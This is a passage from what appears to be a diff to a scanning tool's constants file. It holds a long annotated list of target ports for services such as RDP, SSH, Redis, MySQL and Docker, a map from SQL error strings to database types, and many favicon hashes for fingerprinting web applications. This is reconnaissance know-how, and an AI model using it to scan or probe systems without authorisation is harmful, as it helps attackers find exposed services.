[8983, 161, 23, 9001, 8069, 10050, 10051, 1080, 15672, 443, 8161, 5335, 5336, 2381, 4848, + 80, 9007, # top http + 1080, # top proxy + 489, 7001, 110, 9300, 4567, 50000, + 3389, 3390, 33890, 3388, 33899, # top rdp + 22, 2222, 22222, 2022, # top ssh + 15000, 6379, 8089, 20880, 8000, # top redis + 21, 2121, # top ftp + 2181, # top zookeeper + 5984, 6984, # top couchdb + 2375, # top docker + 1099, # top rmi + 445, # top smb + 16992, 16993, 179, 1026, 2000, 8443, 445, 139, 3312, 3690, 4440, + 143, 53, 135, 8080, 22, 5901, 5432, 27017, 7809, 9200, 50070, 50075, + 3306, 3307, 3310, 3333, 10000, # top mysql + 1433, 1434, # top mssql + 11211, 1723, 111, 995, 993, 5900, 1025, 1720, 548, 113, 81, 6001, + 32768, 554, 26, 49152, 2001, 515, 8008, 49154, 1027, 5666, 646, 5000, + 5631, 631, 49153, 8081, 2049, 88, 79, 5800, 106, 2121, 1110, 49155, 6000, 513, + 990, 5357, 49156, 543, 544, 5101, 144, 7, 389, 8009, 9999, 5009, 7070, 5190, 3000, + 1900, 3986, 13, 1029, 9, 5051, 6646, 49157, 1028, 873, 1755, 2717, 4899, 9100, + 119, 37, 1000, 3001, 5001, 82, 10010, 1030, 9090, 2107, 1024, 2103, 6004, 1801, + 5050, 19, 8031, 1041, 255, 1048, 1049, 1053, 1054, 1056, 1064, 3703, 17, 808, 3689, + 1031, 1044, 1071, 100, 9102, 2869, 4001, 5120, 8010, 9000, 2105, 636, 1038, + 2601, 1, 7000, 1066, 1069, 625, 311, 280, 254, 4000, 1761, 5003, 2002, 1998, 2005, + 1032, 1050, 6112, 1521, 2161, 6002, 2401, 902, 4045, 787, 7937, 1058, 2383, 1033, + 1040, 1059, 5555, 1494, 3, 593, 2301, 3268, 7938, 1022, 1234, 1035, 1036, 1037, + 1074, 8002, 464, 497, 1935, 2003, 6666, 6543, 24, 1352, 3269, 1111, 407, 500, + 20, 2006, 1034, 1218, 3260, 4444, 264, 33, 2004, 1042, 42510, 999, 3052, 1023, + 222, 1068, 888, 7100, 1717, 992, 2008, 2007, 8082, 512, 1043, 2009, 5801, 1700, + 7019, 50001, 4662, 2065, 42, 2602, 9535, 5100, 2604, 4002, 5002, 1047, 1051, 1052, + 1055, 1060, 1062, 1311, 3283, 4443, 5225, 5226, 6059, 6789, 8651, 8652, 8701, 9415, + 9593, 9594, 9595, 20828, 23502, 32769, 33354, 35500, 52869, 55555, 55600, + 64623, 64680, 65000, 65389, 1067, 13782, 366, 5902, 9050, 85, 1002, 5500, 1863, 1864, + 5431, 8085, 10243, 45100, 49999, 51103, 49, 90, 6667, 1503, 6881, 27000, 340, 1500, 8021, + 5566, 8088, 8899, 9071, 5102, 6005, 9101, 163, 5679, 146, 648, 1666, 83, 3476, 5004, + 5214, 8001, 8083, 8084, 9207, 14238, 30, 912, 12345, 2030, 2605, 6, 541, 4, 1248, 3005, + 8007, + 306, 880, 2500, 1086, 1088, 2525, 4242, 8291, 9009, 52822, 900, 6101, 2809, 7200, 211, 800, + 987, 1083, 12000, 705, 711, 20005, 6969, 13783, 1045, 1046, 1061, 1063, 1070, 1072, 1073, + 1075, 1077, 1078, 1079, 1081, 1082, 1085, 1093, 1094, 1096, 1098, 1100, 1104, 1106, + 1107, 1108, 1148, 1169, 1272, 1310, 1687, 1718, 1783, 1840, 2100, 2119, 2135, 2144, 2160, + 2190, 2260, 2399, 2492, 2607, 2718, 2811, 2875, 3017, 3031, 3071, 3211, 3300, 3301, + 3323, 3325, 3351, 3404, 3551, 3580, 3659, 3766, 3784, 3801, 3827, 3998, 4003, 4126, 4129, + 4449, 5222, 5269, 5633, 5718, 5810, 5825, 5877, 5910, 5911, 5925, 5959, 5960, 5961, 5962, + 5987, 5988, 5989, 6123, 6129, 6156, 6389, 6580, 6901, 7106, 7625, 7777, 7778, 7911, 8086, + 8181, 8222, 8333, 8400, 8402, 8600, 8649, 8873, 8994, 9002, 9011, 9080, 9220, 9290, 9485, + 9500, 9502, 9503, 9618, 9900, 9968, 10002, 10012, 10024, 10025, 10566, 10616, 10617, 10621, + 10626, 10628, 10629, 11110, 13456, 14442, 15002, 15003, 15660, 16001, 16016, 16018, 17988, + 19101, 19801, 19842, 20000, 20031, 20221, 20222, 21571, 22939, 24800, 25734, 27715, 28201, + 30000, 30718, 31038, 32781, 32782, 34571, 34572, 34573, 40193, 48080, 49158, 49159, + 49160, 50003, 50006, 50800, 57294, 58080, 60020, 63331, 65129, 691, 212, 1001, 1999, 2020, + 2998, 6003, 7002, 50002, 32, 2033, 3372, 99, 425, 749, 5903, 43, 458, 5405, 6106, 6502, + 7007, + 13722, 1087, 1089, 1124, 1152, 1183, 1186, 1247, 1296, 1334, 1580, 1782, 2126, 2179, 2191, + 2251, + 2522, 3011, 3030, 3077, 3261, 3493, 3546, 3737, 3828, 3871, 3880, 3918, 3995, 4006, 4111, + 4446, + 5054, 5200, 5280, 5298, 5822, 5859, 5904, 5915, 5922, 5963, 7103, 7402, 7435, 7443, 7512, + 8011, + 8090, 8100, 8180, 8254, 8500, 8654, 9091, 9110, 9666, 9877, 9943, 9944, 9998, 10004, 10778, + 15742, + 16012, 18988, 19283, 19315, 19780, 24444, 27352, 27353, 27355, 32784, 49163, 49165, 49175, + 50389, 50636, 51493, 55055, 56738, 61532, 61900, 62078, 1021, 9040, 666, 700, 84, 545, + 1112, 1524, 2040, 4321, 5802, 38292, 49400, 1084, 1600, 2048, 2111, 3006, 6547, 6699, 9111, + 16080, 555, 667, 720, 801, 1443, 1533, 2106, 5560, 6007, 1090, 1091, 1114, 1117, 1119, + 1122, 1131, + 1138, + 1151, 1175, 1199, 1201, 1271, 1862, 2323, 2393, 2394, 2608, 2725, 2909, 3003, 3168, 3221, + 3322, + 3324, 3517, 3527, 3800, 3809, 3814, 3826, 3869, 3878, 3889, 3905, 3914, 3920, 3945, + 3971, + 4004, 4005, 4279, 4445, 4550, 4567, 4900, 5033, 5080, 5087, 5221, 5440, 5544, 5678, + 5730, + 5811, 5815, 5850, 5862, 5906, 5907, 5950, 5952, 6025, 6510, 6565, 6567, 6689, 6692, 6779, + 6792, + 6839, 7025, 7496, 7676, 7800, 7920, 7921, 7999, 8022, 8042, 8045, 8093, 8099, 8200, 8290, + 8292, + 8300, 8383, 9003, 9081, 9099, 9418, 9575, 9878, 9898, 9917, 10003, 10180, 10215, + 11111, + 12174, 12265, 14441, 15004, 16000, 16113, 17877, 18040, 18101, 19350, 25735, 26214, 27356, + 30951, 32783, 32785, 40911, 41511, 44176, 44501, 49161, 49167, 49176, 50300, 50500, 52673, + 52848, 54045, 54328, 55056, 56737, 57797, 60443, 70, 417, 714, 722, 777, 981, 1009, + 4224, + 4998, 6346, 301, 524, 668, 765, 2041, 5999, 10082, 259, 1007, 1417, 1984, 2038, 2068, + 4343, + 6009, 7004, 44443, 109, 687, 726, 911, 1461, 2035, 4125, 6006, 7201, 9103, 125, 481, 683, + 903, + 1011, 1455, 2013, 2043, 2047, 6668, 6669, 256, 406, 843, 2042, 2045, 5998, 9929, 31337, + 44442, + 1092, 1095, 1102, 1105, 1113, 1121, 1123, 1126, 1130, 1132, 1137, 1141, 1145, 1147, 1149, + 1154, + 1164, 1165, 1166, 1174, 1185, 1187, 1192, 1198, 1213, 1216, 1217, 1233, 1236, 1244, 1259, + 1277, + 1287, 1300, 1301, 1309, 1322, 1328, 1556, 1641, 1688, 1719, 1721, 1805, 1812, 1839, 1875, + 1914, + 1971, 1972, 1974, 2099, 2170, 2196, 2200, 2288, 2366, 2382, 2557, 2800, 2910, 2920, 2968, + 3007, + 3013, 3050, 3119, 3304, 3376, 3400, 3410, 3514, 3684, 3697, 3700, 3824, 3846, 3848, + 3859, + 3863, 3870, 3872, 3888, 3907, 3916, 3931, 3941, 3957, 3963, 3968, 3969, 3972, 3990, 3993, + 3994, + 4009, 4040, 4080, 4096, 4143, 4147, 4200, 4252, 4430, 4555, 4600, 4658, 4875, 4949, 5040, + 5063, + 5074, 5151, 5212, 5223, 5242, 5279, 5339, 5353, 5501, 5807, 5812, 5818, 5823, 5868, 5869, + 5899, + 5905, 5909, 5914, 5918, 5938, 5940, 5968, 5981, 6051, 6060, 6068, 6203, 6247, 6500, 6504, + 6520, + 6550, 6600] ERROR_FLAG = { 'SQL syntax': 'MYSQL', @@ -86,6 +243,1212 @@ class ProgramPath: '14789', '133877', '13335', '132892', '21859', '6185', '47823' ] +COMMON_FAVICON_LIST = ['5d07b471f93f3283731592af17b0bbe7', + '71395dec0c0ada3be92359a9d34a922a', + '9545ae859b1f52a0856dbcc12cd3f7d4', + 'f0798b052bbcfd5c9b5505096dc46997', + 'd5cd0c796cd7725beacb36ebd0596190', + '35d8b1c721044ec9571b35cbcdae5b17', + '74c085725f90a5ae8a6cd1d92bd872f2', + '00c1372beab553740afd73f4361a4ff3', + '35a7d501a562a638055b04e267def098', + '5dd09d79ce7a3ff15791dc3de9186cbb', + 'c38eda6e439da7e728c12822e1170615', + '1021eef6c38a5af368cb54345475f9be', + '05f90919a36d4bf88f77d9b678a60091', + '6608f7047b6738178c13ff4ddc5b51f3', + '898b4bda594e8da78ad4d9613b4fc2e8', + 'f373b0992d6b45ea1582e4e77cfe6cfe', + '36dcbb0c2c6c1a2cce8b2d9a14fa364c', + 'ec91755e90eab555cc9b813a47e2642c', + '4c23f42e418b898ecebcf7b6aea95250', + '1c5e470de44c065dce6810adbfde421f', + 'c37be212f8ab327c222a2585a3509f37', + '352483c5ff2f284d92b38a9fab80cfcb', + '5f18225a1cae9c9ef67aa34fa2da099d', + '041718edc41fb801317c3a0b1f4b7ca9', + 'bb0a2e312b75d0413b97331291151da5', + '0112159a23e0b0adae59f40d3ecf8564', + '18ac0a741a252d0b2d22082d1f02002a', + '66077f37a42b6e8fc1f79f5f8d873632', + '428b23d688f0f756d2881346d07f882f', + 'e259cdc8e7d3946d578ef8323476b245', + '8fd7a95b3755e88fd71694c22bb652e6', + 'fe6938b0d059893a3bd6093fa9cca003', + '75e0e58c66faf4e25c2d346a1f6d7a2a', + '324b52fafc7b532b45e63f1d0585c05d', + '2059c4c1ec104e7554df5da1edb07a77', + '826659c0bd5d509f8995bd4dd46a4668', + '7245f325804a679c7ddacaee70c6395b', + '4f8fbb4cc1bec8f6adef5af0bfa9e4d6', + 'a36148f523f8cf9bb415f80f0811393a', + '377eb13f019a41c417ee29f062041e2e', + '5032b5d60b095c684fc777d7c202855e', + '60441bd5893e169020f00be423068ed8', + 'dfd912127abc1e2b27505fc52cee6854', + 'ecd5a74dda8f311d8ab3c16ed263dcc8', + 'b372b12089d93c6516eeda98d4a1873d', + '459ea752c044ec4dc744c4d6fdc78d9e', + 'cc39fd62e6a878c6c1d2180b54179ffe', + '18ac0a741a252d0b2d22082d1f02002a', + '1dfb729fdb3f61e3000958636730e5de', + '4F08B4951AACFA3C8BCC74BE8596F0AD', + '9f8edf2baf2d0b7920565037e5110e98', + '02516ee12a35cf722db3ab104160756d', + 'dd5a528e5fd5d5e30b6ed81284ee3f45', + 'a26b851b3d8bff189b247403672491c8', + '4c1a1a8a10e2f85dfc208b73271c7b36', + 'b685f4427a8c2b4afb5f01ffbb4a7af2', + 'b4d132542083d1364022bac8f790cc95', + '6552242ddecd70f449de1f92dfc273e0', + '30622d7dfb42b9e1d0e78b1fdd9340ce', + 'e186e2e55812321359d1c68ac27da9f1', + '70ee6179b7e3a5424b5ca22d9ea7d200', + '165f9dc0c5bc08aea63ab52f6d0d9526', + 'cdfff64428dabfee701d2594bd22ac83', + '090a71bc4fc00f8d10c363c4e63ef779', + '00f2e7ba5cdd5129b55c6805c214743d', + 'bf4352ac850b6692f9a74975e71c6a24', + 'b0d09f9c0ae27e80485f1e35331cf327', + '26db6f24724ed4d54b124c842728b2a0', + '47f025f42749b4c802cbd00cc3b57c74', + 'f6cf853a92768fc5d44edcc5341b3997', + '5dcbdb49514b457226d7b5e789b258f9', + 'c758dea036133e583d03145d721bcf75', + '3bec56337ad099fad77c58dc0ff5c64c', + '0ebf4645c6dbbe85501dc7e27bb4789a', + '6390d7e042b18087dd4d0b488d3c41f7', + '3db55fd2155ab461a6b2bac9f37e8c1e', + '2820a3b690612fa7df88fc661178a8de', + 'e35895263a04757cf1b5d8a711ffdc9a', + 'f4cf5c4c7250f7dc964300c434d556c0', + '518941ec31b77d0edec5f04aac2b918d', + '7222c7a2d54b86c8d02bad37fe2b2dbf', + 'b97226d43b397617b566ce1f68077343', + 'cc8df1e12558860831013c54765c06f7', + 'D7A591D497A6C7F8192DA4AA4F59CAC1', + 'e533cdba3c0cf1b165c24522389b5f58', + '80ca751b87e8a1f160d93545a898b54c', + '7030be07704e7ef55371f513b79a96c0', + 'f1294d6b18c489dc8f1b6dfd137ff681', + '9dcb3857211ae96e9f29e4b56f005e06', + '0acfb4ee7a808fb2d12ddfa079aee2ed', + '3319b5e84b1da72c27ec4c926a83b910', + '1c9a27d7c1b47da2083be4012408c75e', + 'b5579af7bdd4d85bbf3e6aa8affed658', + 'b99464b11b2cc0a0403f308a775d9b7b', + '48794b6ad154b3311c9cda372ebf7cdc', + '1f47a98a538398477bc0c3cf1d04d0a5', + '35f612d8e145f5a4e1bb1c4dbb816eb7', + '7a5f7bc3f4eaa361c0e9bb1affd895a6', + '8a7af084aea04360163a28ad17385fe8', + '2e62e2d28ae4fcc2a9038e0f15c2c6bd', + 'd71b544fd37281ef3187c9357fa8dfa8', + '5aa84c21fc9169a6dd90ed103902666b', + '20ac34e039a3224281a38e9222137815', + '72d07ee60cb62579d6415c47fcebd1a0', + '8f70211a3ce718b68c4adcd55edde612', + '30a5688a2f27981c0c2f54f796cbc9df', + '17680cecac7460613563251286c4eb03', + '58e959b455c4a49e431dd28868699fe4', + '5da6d47b33468b652fc4176b350201cf', + 'e5a550b632530b29c765ee0b21d317e5', + '42be3f74fcbbfcadf1cf30539e2f75a5', + 'dafd6c713ac3121d331184b04b6e5286', + '214f8164393880a9e304d457b4592745', + 'bfedf87aeb5035d6fb8aacc3f54265de', + '35f612d8e145f5a4e1bb1c4dbb816eb7', + 'a4ec6f2d46cfa3bd664a5b402bd36ad3', + 'b7d9174d54261a48fb7854d55fcb7852', + '061a9376bdb3bfaacfec43986456d455', + '763a44cd191c13f4a23270062aa9a9fd', + '6b1185f2df41f38247d20f1f5b53c0cc', + '9e6b211879d1b9c88f945b1a9afa38bf', + '17a14d067fba7c4b2631bfb0f67ca21d', + '47183c1b2cc64e61e9d4b7b0038f57a7', + '999cf400c5e28ee7b79094ba3c324e09', + '58b439b67ea0151ff3b5f631cd165135', + 'a27e633c635727e8e026bd5befe91e49', + 'c8fe8a6c2a19e8f0d3f2574e76020c74', + '48015513094ff91334f8974f5dc123ad', + 'cfc440185d836a969827f0fd52d38e03', + 'd993588d0c8f44ad292666ea169202d7', + 'a42a8e2c6ccef2f28e29727394b1c10a', + 'ea5e6048f0b2a0927b46b12b48f18e29', + 'b0d09f9c0ae27e80485f1e35331cf327', + 'b6c6dadefc296b47115ccffe18de1af4', + 'adfe7ce20aacd9570ec5593a812fadf6', + '4101e5db80d9befa0a54217f01da3df4', + 'f4cfd682c3d1f75e1a017047855af644', + '3ffabfaf1ebc570a31ef897f3095713a', + '3382b05d5f02a4659d044128db8900c7', + 'db0ebf565d93d8c37f51d61ec4fda7b8', + '35c9586841033dd2d6eb5a05aa3694fe', + 'aadf13a830af9d293e350b6c5297fdce', + 'daae653583650582032c5c258faa7d8a', + '832e3939c83145e1b7b5ee9a155243bc', + '61d710a5bbfb0ea9cf8962cc87572ef6', + 'ea7df0f2227edaf63758210bea2041a1', + '7824841bb067262b5a00ad1203c90676', + 'c5c3c2193c4a05e3e03b41b60aef628f', + 'bc45cf3bec6ef50d5fc8ce090a12ede1', + '38e81a209019959bd6b49a6f451756e6', + '412f80bbedc1e3c62b7f5a5038a550e6', + '5513bd730d91ce12f0aff52285fc44ee', + '405279583d52c4ae53a985ef7edb2334', + '10b6e61f8ce67d5ad05280e68c0c19c7', + '9ab777c31bfedc81d6134e90179c9d85', + '70ee6179b7e3a5424b5ca22d9ea7d200', + '17ff1035c4c68d9134ed51c0149beaa3', + '18a4f1f33fdb6bb9d8284dd37a0cf9bd', + '576efd14be2e01458e5eca53d0aac974', + '5ea6a40fdcd3f038404ae8e6a172bb29', + '40484a45f45f420dfdcd45654bba391e', + '5d4557c6d09e6b156705d436990f3b7c', + '59b35e72b37ffc2886f76873c93fbcd9', + '9b5d64e7f3aa2be74602fa35df4139fb', + '61b43a242263d428f86aa4582ee41c26', + 'e7f4ff209e0b345f604697b3f618a76d', + '46b4393eb13fe514e2f7cf80de230b76', + '2cea1e842759512fed9c64df919615a2', + 'c028c4822428e83a358c60a93ef65381', + '36b48346dc3d1f2169a606f2644a19ee', + '65a240922b63207dfabe858e8023e6bf', + 'd9b101506348899b5886f08a30004587', + '050aa01fafbc432c5b97893282784e61', + 'c8cb16e8b61bc549ebd339858e66fa5c', + 'fee1877e6d32c94c756408db7fa6a140', + '371fe4fd4c3085b112867d54d531ea6c', + '2b5cb8618fba34f891ca7b59e232170a', + 'b0f53ec1eba8fcbea5e2a831325bbeab', + '08fe79b4254b0e45d91a6c657c8bc33e', + 'f9b0ab294e6b7d51e7f19fe362038b92', + '0227cfd904e99656279202032b98d4a7', + 'bd35a0a7ece70224e5762e07b02e18d7', + 'b138a3153b813846c14a8c7d8b538aa0', + '27181f780a2c447a1d2a63ce70391b49', + 'aa782fa301d616db1527e81c1bd6834c', + '7ca4a25818a0c261841b9c0df8968e23', + '104867e9a97c512a74dd4724d6dcdffd', + '75a543011f4cd0217f0e073dc13bab72', + '05e27fe8919e6142f922024c77f61479', + 'd993588d0c8f44ad292666ea169202d7', + '2e25cb083312b0eabfa378a89b07cd03', + '3c8d1927c1c1bde1f126b202cb7b1a2f', + 'fbec9c244cb81a9d36ddf36524ebaef4', + '61a9910d6156bb5b21009ba173da0919', + '151a5ab1902785136c9583cb5554c8f9', + 'ecd5a74dda8f311d8ab3c16ed263dcc8', + '337ae3cd8be2afb9448eaae1dc169ac8', + 'bccc7f73c0074fc7c2b911b3f3d1bf15', + '8f0f3cfe9b55df497571fdc818bca5d7', + 'a2d236f6cf10df3342e017a8aea7de31', + 'be86df759268b588adbf6473be685194', + 'e8b3ae50334b4d5b91f9acb0d00fb4b7', + '25a56fa7119fd0792f0eb3e4749b86c9', + '32b016195f800b8d3e8d93fbd24583b4', + 'a8c24f9ce8fb507e1fc04848b3de39dc', + '70ee6179b7e3a5424b5ca22d9ea7d200', + '76efad2703792d609f374710121a056d', + '4d31afa41252d32d8a9aefe04796eb4e', + 'a42f7524df1ebb718ae0fb992602ea87', + '94759db89764eb4a1ae41a926f7fe59a', + '76aa04a85b1f3dea6d3215b27153e437', + '41e066e74f2fa9105700dbdf4e4905c5', + '1a7e05dc42284a888ecd941a51cbc50b', + 'd182c9bec6824c6eafd25f9589d37a0a', + 'd4a59c9133a173f1d055bbfade6308f0', + 'e5ef5cbf5adee69581b6ef02333b82e3', + 'f318798dc4bfc4f9012c66a5347a24f8', + '1a61273784e16891526aae26d12ea639', + '1c67f36a3a9547ecc26dd25c0a5a57b3', + 'a9f136e428c5b24cf103f08ac17abbc7', + 'ca9df517967dff061720627b8cdbcdcd', + '15e2e455b176f7b1d49e5ca3a4f79f5d', + '7c7ae77f47da5d2c9387d8cb715b2cb8', + '75b115d37054a71a9fbbe11482ec6b27', + '809224aed562bd15265e57747425bec9', + '48bf08b052bde9dfe38ca83e02a02e9e', + '37544c09f006b6622692d46419dc2568', + '0ceba25d8d8e384791e857391eb71e2a', + '1697ab7fca81aaaebf8c91f63b29cb63', + 'ea3350e457f70cf7b4f122c8b832ddbe', + '3c0c9d719e13298650f868220176a2eb', + 'd2093064429e9062da93a66c644d0b26', + '2ea741e880d0d8b89f9509fa036fc9c6', + '5a0f45a9b656916805c3f73268b0f514', + '4adf959f86cd4215c464913317000139', + 'cc4ea4b491159a76cfd853b3e151f545', + '1f77c198658bcaf9f0df8279b3bc5418', + 'adb713c90f14055886badf66bc22edd2', + '4b5fd75f507ac37a09482372e5a995c9', + 'cf3bd71744aab1120d9c63f191a14682', + '816b4187721f32088960efaed2884b5a', + '16088c9aeb5b77ef3a07db4e08834880', + '3b0397c10a95f2277cab33ffa821009b', + '480d4f11843eea195785d5f595008fcb', + 'd0d396dd6c390797a9ca6fb69e97c47d', + '0112820448f910acc5eedaa9625ab6b0', + '9BA4B71A75F877BEF76EC6BB31F71DF2', + '0f131c753498d9dbf621a24a839aeb56', + '996507b745203776e2915e8878344146', + '8998a67f4a6483616d05cbc16a15e625', + 'd5f5a520c2e9baad3ea553efe83d6164', + 'd213d3628871acbaefb1c865a78fdfe6', + 'd90f524d5c23735289df9b5b1d173315', + 'fabf579fb326640b60631fd116bcf812', + '33dbbf77f72ca953995538615aa68f52', + '45f6fb4720c191a8d9b3aee1da85d086', + '962e5b2c8818ad192783b880fd97361e', + '80a49b5cff37eba74c6c8a6822a62ff0', + '61b43a242263d428f86aa4582ee41c26', + 'ccedb825926d4b0b91d88adee2c728a0', + '325dd457ddcce988ff394aed56d7de1e', + '3040f02aab88fd436a45467935bf14f7', + 'e4dc8e7460d6309186edb15e1099d6bf', + 'bbc79252733e2e1a65cf0e92c62bdd7d', + 'a3197615f9c5a29d2257feeab5c2fd8a', + '4e3c3d65e1014c60b9163c58d6feb397', + '50e584b4d5130784c2aaf184fdb18c35', + '8375be1e87528a6e6aca699910b1cace', + '6e8b9b8af42923fa0ecf89c0054e4091', + '3108ff46cd72be64fa798c3c053c0ac1', + '736007832d2167baaae763fd3a3f3cf1', + '9cfc31ea9b376230b76bfbbf70b814bf', + '2eebe41ec1dc181e976249bd884fbd87', + '613a059308e546b783258e4c17f25a1f', + 'B1E011B40783BAD70CBE8E2DA622D4A6', + '4d94103aa03e2a9af93030d7b1415b3b', + 'e2230f70fa19f55e898cc8adbd2e2cd7', + 'b44557ebcbe60ddd358e8726778d68c1', + '35ac654ff98eb5dd985ae0a42234a7e4', + 'e0c4b6301b769d596d183fa9688b002a', + 'a321fb9e888181da07cdf4c8e98b3034', + '35613297cc0e20d5af99f7db02b877a2', + '214270729c97e5baa653c81ab9110c1f', + 'c5ee1709a853229d2c91d736eda10051', + 'ad125ceafcec5a03b37b2a766360ebdc', + 'b5bcd111fefb3b664870d5dc265a9f29', + '7854bb0301cdc9dfefbe190356553204', + '4d50eee0c43bc7d1ac708c5622d5b481', + '7ccf3630fd1411ebf613569db4fff783', + '49606573bded1358189e73f32a845702', + '0fd86d5f9c1070613e22fb30456bf609', + '5954fc62ae964539bb3586a1e4cb172a', + '1c860788c919c0ba62bca6be37b8b263', + '5d1e8e3240474029bb6c8c3f4905b3e5', + 'dda6f3b278f65bd77ac556bf16166a0c', + '4ae280c43d3d01158ee36bc3d0878d4d', + '9d05f5d2410061c1c9881b98d5d7552f', + 'aa782fa301d616db1527e81c1bd6834c', + 'c1c1a7d9cca179ad5c0518e9c4641232', + 'c5c59ecc7cdbfc84a18ef167b73b55b9', + '834f29fabcebfb5bf2849b2f4e9e7bfb', + '90855446b4db0a3e2a58e597546fa5e9', + '2163fab940b75c44f520c4b27364e375', + 'd02a1fb2710a28077507473ef0734c90', + 'a6bd5d394f15cf2804b6a98528c74a2f', + 'd5bb00993027e53e5eedcb8a972250fa', + 'c99a9e6b56db86b704c48cd65dbe103d', + '7d1ef8f5478fc951725b8858c371517b', + 'e321f05b151d832859378c0b7eba081a', + '025b705ff32515bda1fb6892e0d9761d', + '4e41a821f4efec0737195ca34695a4d5', + '0a2972286de60087205b5bb3217fbdc5', + 'e86ea7f20a0aecaec8920f3e98db92f7', + '466d11df3a2333aba76b3e81556176a4', + '735238164516393c7819fb43c28ce991', + '37835a6f515fd99bf5f8db07e53c9152', + '5f9d994fb1b0e375af6fdf663979af71', + '61ff56e1d34228ca768bda34cb4ece20', + 'e6ccc6d734d834f12372b9e0e9707318', + '326e3c92c2a6de7f3f1722e9eedf4ad4', + '2cea1e842759512fed9c64df919615a2', + '2a55cde57cdb0c810aec27fdc928e1ef', + 'afde18707b365c67e4708775650a37ba', + '02d47a2780fdadd0086215693f3a6b5f', + '33dbbf77f72ca953995538615aa68f52', + '563080e6343992d6425ac89ddf8ab314', + 'fe0629abd97593938fbb18b61e23c87b', + '11e8d3bd5c82760e5f52c10b52a0c205', + '3327914cd085a87097a03c0fb247649b', + '377eb13f019a41c417ee29f062041e2e', + 'f9e1b8ac323811d27ba15dfb29fba21b', + '8cb9cf25fb19ea4552d8fa318cfc1cca', + 'c81932053e6ac8df6077e5c7ad241ae8', + '3fb71e802e717cf1dd807aeab1264d37', + '39da9a34d30586f70b2d0d976a1767a8', + '17680cecac7460613563251286c4eb03', + 'ab93346c1650acf2f16328fa41caf425', + 'aa157057bb0cdab1cf90454ffc362a8e', + 'c025609c4c5838da506070f86b976cda', + 'c70d2c34b9305d87c6e6267887bd1c91', + 'a9d8d517dbe910477a1f2ad5c78228d8', + '4cbf844456fcf951d350ea39511ddfe6', + 'f3044cfb1433ee745f654ce8b64c8fc0', + '4361622dab8bbd82ae37cefce6d53ac7', + 'd7b9cb050e576ceb0152f422fafb0a55', + '5183bfff3906852d758e8cad7cff0515', + '8fd15d6ca8d16e32f29c338dc2aee593', + '1dfb729fdb3f61e3000958636730e5de', + '6697b4b70e0194cf5e786d39664ebfd3', + 'f154320904ea0a48976246d0c2144138', + 'f620a400b01b3478be57fcf500ed7a1e', + 'f54a10caf557f7ba043fc4c402c3db6a', + 'ceac723edc089519ba0b01c1b3e77d38', + 'de93941a0aece242ea39fcba0018e73f', + 'bbc79252733e2e1a65cf0e92c62bdd7d', + '172e8b2cc69611ab3f4ec9c81f80b56a', + '15e2e455b176f7b1d49e5ca3a4f79f5d', + '7a3cb96b0a67df84e5224ff50d1bb946', + '451cfba70adc60cb3804b0ad9b72bead', + '2a55cde57cdb0c810aec27fdc928e1ef', + '9e88927b8895f2798c2de99e028f6b98', + 'dd482b50d4597025c8444a3f9c3de74d', + 'c99ed7f3a0c548349a0c5df4be905e93', + '5d341f4f03aff5421b0b5bd4ebc82400', + '1b24a7a916a0e0901e381a0d6131b28d', + '3edd33d7d8bb036bed23ebb4f4c6281a', + '7BB50E4281FA02758834A2E9D7BA9FB9', + '40484a45f45f420dfdcd45654bba391e', + '2fa3d6243cc7a327dec5e214df973375', + '2712facf30ed4ae36aa048e4fdfebc02', + '4d42ed20c5a6ec7f28d550eb41c2e58c', + '6afd13d396fb000b7a9c1fb488741268', + 'e2150b3a260f530a1603ad52c12e6340', + '96748229f5782e127a18a81fad22e6e1', + '9b877fc8ca3323a3d45ca59c6a795da8', + 'cdc5b2704e4589c1c19eae4b1ebbd2bc', + 'c66671addb664ca0b462af6e20e87691', + 'b1103c68acef2f055bb88a1861df59d5', + 'c4ac80c8699333f3d34af74069626b40', + '535b29d2be57297c892d038f831a032d', + '45f68f6da298bb16d1b6704c085f7816', + 'bf6e80347f1a00b01dbda9456f438411', + '0ab9ae184fa1aa468e6ce9f6eb01bbd8', + '9c533ec6ac867c3b53d46ebfba173b05', + 'ea18310350220fb452ab1be869017425', + 'c61cd01d1e968dcc16cd8a875a693830', + '1d3b0614059f6a05c7c382e5a0646237', + 'f9b36a0043705947c8af0b62ade7b681', + '89717893b255fce42d9af0a4b686ec8f', + '4b5335fe73f0b3435e0aef292f020d14', + '4dacb1626d45b8579f740b7adda5845a', + '69d7e3d0fd6971f300a914d0d33301ed', + '70ee6179b7e3a5424b5ca22d9ea7d200', + '97514524130b953ec64dd2206f12ecbe', + '4846c7462c27b0bcf5f5d8b6d671575b', + 'b8185cecb2bb24b2d0169f15e2ed09a8', + '66949cb107e35e0f8bc135499b47368e', + 'E914C1C998605C629042698C546D9B84', + '10e824bee8714c6dfe0acab200099e58', + 'edcde692d1c42cad0fa04762122d45ae', + 'a0b6725538af9039562c5db10267bc03', + '8ce0605243964fddc5fe351a193b1911', + '56398e76be6355ad5999b262208a17c9', + '1e397a9c380bb7a84801a2f2bc1c0148', + '29c98250b07e4079f3906de984a27ef6', + '45c85ca4bf6b905a8824b71fd353978b', + 'c4a0f335ab0466906a5d42d4e0e34586', + 'dafa88a858c214b29d319bcf380752c4', + 'f2e99b0a37de44f8e8a1ce7a3af53c85', + '5A8BFD37651305BDAFBCF2CD51B0254B', + '606092bf56c4c08b8a17a11e58a764c9', + '9921660baaf9e0b3b747266eb5af880f', + 'fc50c550d6aba02e62f607a6905c8554', + '64163b9949f2713a5ba267a03fe42943', + '5c9c996e03cdee120657435096f65544', + '16c38dd8f84747a9d725aa575e5bfc27', + '4e3d5d23c53ef0fe03e6689d4140988b', + 'af7dce4fabc43e6059862362e0dd8a80', + 'ccb7b72900a36c6ebe41f7708edb44ce', + 'f1687342cf4efcdc45d9cb1ee274a662', + 'e4c3bfe695710c5610cf51723b3bdae2', + '525c4fc0129a84f864d7a71ee4f30a2b', + '6c26aa03585abce810a6dd4396ed2aea', + '8dc1e04ffcf4d86aaaedb49eeac653c1', + '2e20742b2c7474e08bd5e1cafbe4126d', + 'E6E557BAD69B09533827D9652E0C11AB', + 'fe3760309e0fd93f3b68517603f15776', + 'ef572c58513148310268e492fb0276ed', + 'f41f58d4ba82fdb6321a840034c8a0fd', + '3dcec1078aebe088e3b6881bf78ade2e', + 'e74899854cdb4dbb34cbc055a9967e28', + 'a06a5f4e2d0c9d86d3324e0b26549e8c', + '47484accac84e2d2878377f77fa43af4', + '211ba118894f68ec83229e6c401e4540', + 'ac0ac9fbaae105222d28238c1641eee7', + '7ccf3630fd1411ebf613569db4fff783', + '8eaf3eb0a904b0507199a644d1026fd7', + 